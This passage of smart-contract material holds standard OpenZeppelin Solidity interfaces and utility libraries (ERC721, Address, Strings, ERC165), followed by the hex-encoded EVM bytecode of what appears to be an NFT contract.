`tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x60806040526004361061019c5760003560e01c8063715018a6116100ec578063b88d4fde1161008a578063e757223011610064578063e757223014610591578063e985e9c5146105ce578063f2fde38b1461060b578063f7d97577146106345761019c565b8063b88d4fde14610502578063c87b56dd1461052b578063d97b7c1f146105685761019c565b806395d89b41116100c657806395d89b411461046c578063a22cb46514610497578063b13335ef146104c0578063b7694545146104d75761019c565b8063715018a61461040e5780638da5cb5b146104255780638ecff150146104505761019c565b806323b872dd1161015957806355f804b31161013357806355f804b3146103405780636352211e146103695780636c0360eb146103a657806370a08231146103d15761019c565b806323b872dd146102c55780632ad22052146102ee57806342842e0e146103175761019c565b806301ffc9a7146101a1578063055ad42e146101de57806306fdde0314610209578063081812fc14610234578063095ea7b31461027157806318160ddd1461029a575b600080fd5b3480156101ad57600080fd5b506101c860048036038101906101c391906128a9565b61065d565b6040516101d591906128f1565b60405180910390f35b3480156101ea57600080fd5b506101f361073f565b6040516102009190612925565b60405180910390f35b34801561021557600080fd5b5061021e610745565b60405161022b91906129d9565b60405180910390f35b34801561024057600080fd5b5061025b60048036038101906102569190612a27565b6107d7565b6040516102689190612a95565b60405180910390f35b34801561027d57600080fd5b5061029860048036038101906102939190612adc565b61085c565b005b3480156102a657600080fd5b506102af610974565b6040516102bc9190612925565b60405180910390f35b3480156102d157600080fd5b506102ec60048036038101906102e79190612b1c565b61097a565b005b3480156102fa57600080fd5b5061031560048036038101906103109190612b6f565b6109da565b005b34801561032357600080fd5b5061033e60048036038101906103399190612b1c565b610a82565b005b34801561034c57600080fd5b5061036760048036038101906103629190612cd1565b610aa2565b005b34801561037557600080fd5b50610390600480360381019061038b9190612a27565b610b38565b60405161039d9190612a95565b60405180910390f35b3480156103b257600080fd5b506103bb610bea565b6040516103c891906129d9565b60405180910390f35b3480156103dd57600080fd5b506103f860048036038101906103f39190612b6f565b610c78565b6040516104059190612925565b60405180910390f35b34801561041a57600080fd5b50610423610d30565b005b34801561043157600080fd5b5061043a610db8565b6040516104479190612a95565b60405180910390f35b61046a60048036038101906104659190612a27565b610de2565b005b34801561047857600080fd5b50610481611115565b60405161048e91906129d9565b60405180910390f35b3480156104a357600080fd5b506104be60048036038101906104b99190612d46565b6111a7565b005b3480156104cc57600080fd5b506104d56111bd565b005b3480156104e357600080fd5b506104ec611288565b6040516104f99190612a95565b60405180910390f35b34801561050e57600080fd5b5061052960048036038101906105249190612e27565b6112ae565b005b34801561053757600080fd5b50610552600480360381019061054d9190612a27565b611310565b60405161055f91906129d9565b60405180910390f35b34801561057457600080fd5b5061058f600480360381019061058a9190612eaa565b61138c565b005b34801561059d57600080fd5b506105b860048036038101906105b39190612a27565b6114ed565b6040516105c59190612925565b60405180910390f35b3480156105da57600080fd5b506105f560048036038101906105f09190612eaa565b611527565b60405161060291906128f1565b60405180910390f35b34801561061757600080fd5b50610632600480360381019061062d9190612b6f565b6115bb565b005b34801561064057600080fd5b5061065b60048036038101906106569190612eea565b6116b3565b005b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916148061072857507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b80610738575061073782611790565b5b9050919050565b60075481565b60606000805461075490612f59565b80601f016020809104026020016040519081016040528092919081815260200182805461078090612f59565b80156107cd5780601f106107a2576101008083540402835291602001916107cd565b820191906000526020600020905b8154815290600101906020018083116107b057829003601f168201915b5050505050905090565b60006107e2826117fa565b610821576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081890612ffd565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600061086782610b38565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156108d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108cf9061308f565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166108f7611866565b73ffffffffffffffffffffffffffffffffffffffff161480610926575061092581610920611866565b611527565b5b610965576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095c90613121565b60405180910390fd5b61096f838361186e565b505050565b60085481565b61098b610985611866565b82611927565b6109ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c1906131b3565b60405180910390fd5b6109d5838383611a05565b505050565b6109e2611866565b73ffffffffffffffffffffffffffffffffffffffff16610a00610db8565b73ffffffffffffffffffffffffffffffffffffffff1614610a56576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4d9061321f565b60405180910390fd5b610a7f478273ffffffffffffffffffffffffffffffffffffffff16611c6c90919063ffffffff16565b50565b610a9d838383604051806020016040528060008152506112ae565b505050565b610aaa611866565b73ffffffffffffffffffffffffffffffffffffffff16610ac8610db8565b73ffffffffffffffffffffffffffffffffffffffff1614610b1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b159061321f565b60405180910390fd5b80600a9080519060200190610b3492919061279a565b5050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610be1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bd8906132b1565b60405180910390fd5b80915050919050565b600a8054610bf790612f59565b80601f0160208091040260200160405190810160405280929190818152602001828054610c2390612f59565b8015610c705780601f10610c4557610100808354040283529160200191610c70565b820191906000526020600020905b815481529060010190602001808311610c5357829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ce9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce090613343565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610d38611866565b73ffffffffffffffffffffffffffffffffffffffff16610d56610db8565b73ffffffffffffffffffffffffffffffffffffffff1614610dac576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610da39061321f565b60405180910390fd5b610db66000611d60565b565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600060075414610e27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e1e906133d5565b60405180910390fd5b6000600b82610e369190613424565b14610e76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6d906134c7565b60405180910390fd5b6000600b6000838152602001908152602001600020541415610ecd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec490613559565b60405180910390fd5b600b6000828152602001908152602001600020543414610f22576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f19906135eb565b60405180910390fd5b60006002600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506000339050600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190610faf9061363a565b9190505550600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919061100490613664565b9190505550806002600085815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b6000848152602001908152602001600020600090556110b56127106123283461108691906136ad565b6110909190613707565b8373ffffffffffffffffffffffffffffffffffffffff16611c6c90919063ffffffff16565b828173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b60606001805461112490612f59565b80601f016020809104026020016040519081016040528092919081815260200182805461115090612f59565b801561119d5780601f106111725761010080835404028352916020019161119d565b820191906000526020600020905b81548152906001019060200180831161118057829003601f168201915b5050505050905090565b6111b96111b2611866565b8383611e26565b5050565b6111c5611866565b73ffffffffffffffffffffffffffffffffffffffff166111e3610db8565b73ffffffffffffffffffffffffffffffffffffffff1614611239576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112309061321f565b60405180910390fd5b60006007541461127e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611275906133d5565b60405180910390fd5b6001600781905550565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6112bf6112b9611866565b83611927565b6112fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f5906131b3565b60405180910390fd5b61130a84848484611f93565b50505050565b606061131b826117fa565b61135a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135190613784565b60405180910390fd5b600a61136583611fef565b6040516020016113769291906138c0565b6040516020818303038152906040529050919050565b611394611866565b73ffffffffffffffffffffffffffffffffffffffff166113b2610db8565b73ffffffffffffffffffffffffffffffffffffffff1614611408576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ff9061321f565b60405180910390fd5b60006007541461144d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611444906133d5565b60405180910390fd5b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146114cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114c69061393b565b60405180910390fd5b6114d882612150565b6114e18161226e565b6114e96123e6565b5050565b600080600b836114fd9190613424565b1461150b5760009050611522565b600b60008381526020019081526020016000205490505b919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6115c3611866565b73ffffffffffffffffffffffffffffffffffffffff166115e1610db8565b73ffffffffffffffffffffffffffffffffffffffff1614611637576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161162e9061321f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156116a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161169e906139cd565b60405180910390fd5b6116b081611d60565b50565b6116bb611866565b73ffffffffffffffffffffffffffffffffffffffff166116d9610db8565b73ffffffffffffffffffffffffffffffffffffffff161461172f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117269061321f565b60405180910390fd5b600060075414611774576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176b906133d5565b60405180910390fd5b80600b6000848152602001908152602001600020819055505050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff166118e183610b38565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000611932826117fa565b611971576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161196890613a5f565b60405180910390fd5b600061197c83610b38565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806119eb57508373ffffffffffffffffffffffffffffffffffffffff166119d3846107d7565b73ffffffffffffffffffffffffffffffffffffffff16145b806119fc57506119fb8185611527565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff16611a2582610b38565b73ffffffffffffffffffffffffffffffffffffffff1614611a7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7290613af1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611aeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae290613b83565b60405180910390fd5b611af68383836125e5565b611b0160008261186e565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b519190613ba3565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611ba89190613bd7565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4611c678383836125ea565b505050565b80471015611caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ca690613c79565b60405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff1682604051611cd590613cca565b60006040518083038185875af1925050503d8060008114611d12576040519150601f19603f3d011682016040523d82523d6000602084013e611d17565b606091505b5050905080611d5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5290613d51565b60405180910390fd5b505050565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8c90613dbd565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611f8691906128f1565b60405180910390a3505050565b611f9e848484611a05565b611faa848484846125ef565b611fe9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fe090613e4f565b60405180910390fd5b50505050565b60606000821415612037576040518060400160405280600181526020017f3000000000000000000000000000000000000000000000000000000000000000815250905061214b565b600082905060005b6000821461206957808061205290613664565b915050600a826120629190613707565b915061203f565b60008167ffffffffffffffff81111561208557612084612ba6565b5b6040519080825280601f01601f1916602001820160405280156120b75781602001600182028036833780820191505090505b5090505b60008514612144576001826120d09190613ba3565b9150600a856120df9190613424565b60306120eb9190613bd7565b60f81b81838151811061210157612100613e6f565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8561213d9190613707565b94506120bb565b8093505050505b919050565b8060026000600854815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906121f490613664565b91905055506008600081548092919061220c90613664565b919050558173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a450565b60005b6008811015612353578160026000600854815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860008154809291906122e190613664565b919050558273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4808061234b90613664565b915050612271565b506008600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123a09190613bd7565b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050565b60005b600281101561250f57600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660026000600854815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506008600081548092919061247b90613664565b91905055600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4808061250790613664565b9150506123e9565b50600260036000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257e9190613bd7565b60036000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550565b505050565b505050565b60006126108473ffffffffffffffffffffffffffffffffffffffff16612777565b1561276a578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612639611866565b8786866040518563ffffffff1660e01b815260040161265b9493929190613ef3565b